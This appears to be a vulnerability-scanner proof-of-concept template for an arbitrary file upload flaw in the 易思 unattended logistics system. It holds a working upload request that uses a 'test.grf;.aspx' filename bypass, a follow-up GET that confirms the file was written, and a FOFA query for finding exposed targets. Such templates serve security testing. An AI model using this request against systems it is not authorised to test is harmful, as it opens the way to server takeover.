eosine-sysreportfile-fileupload: 易思智能物流无人值守系统 任意文件上传漏洞

id: eosine-sysreportfile-fileupload

info:
  name: 易思智能物流无人值守系统 任意文件上传漏洞
  author: fgz
  severity: critical
  verified: true
  description: |
    易思无人值守智能物流系统是一款集成了人工智能、机器人技术和物联网技术的创新产品。它能够自主完成货物存储、检索、分拣、装载以及配送等物流作业，帮助企业实现无人值守的智能物流运营，提高效率、降低成本，为现代物流行业带来新的发展机遇。易思无人值守智能物流系统/Sys_ReportFile/ImportReport接口处存在文件上传漏洞，攻击者可以通过利用该漏洞获取系统的控制权。
    FOFA: "智能物流无人值守系统"
  reference:
      - https://mp.weixin.qq.com/s/2t5V20W4tTaoeNEdpdIbyw
  tags: eosine,fileupload
  created: 2023/09/18

set:
  randstr: randomLowercase(6)
  randbody: randomLowercase(32)
  rboundary: randomLowercase(8)

rules:
  r0:
    request:
      method: POST
      path: /Sys_ReportFile/ImportReport?encode={{randstr}}
      headers:
        X-File-Name: test.grf
        User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; .filename=\"test.grf;.aspx\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200 && response.body.bcontains(b'aspx')

  r1:
    request:
      method: GET
      path: /GRF/Custom/{{randstr}}.aspx
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))

expression: r0() && r1()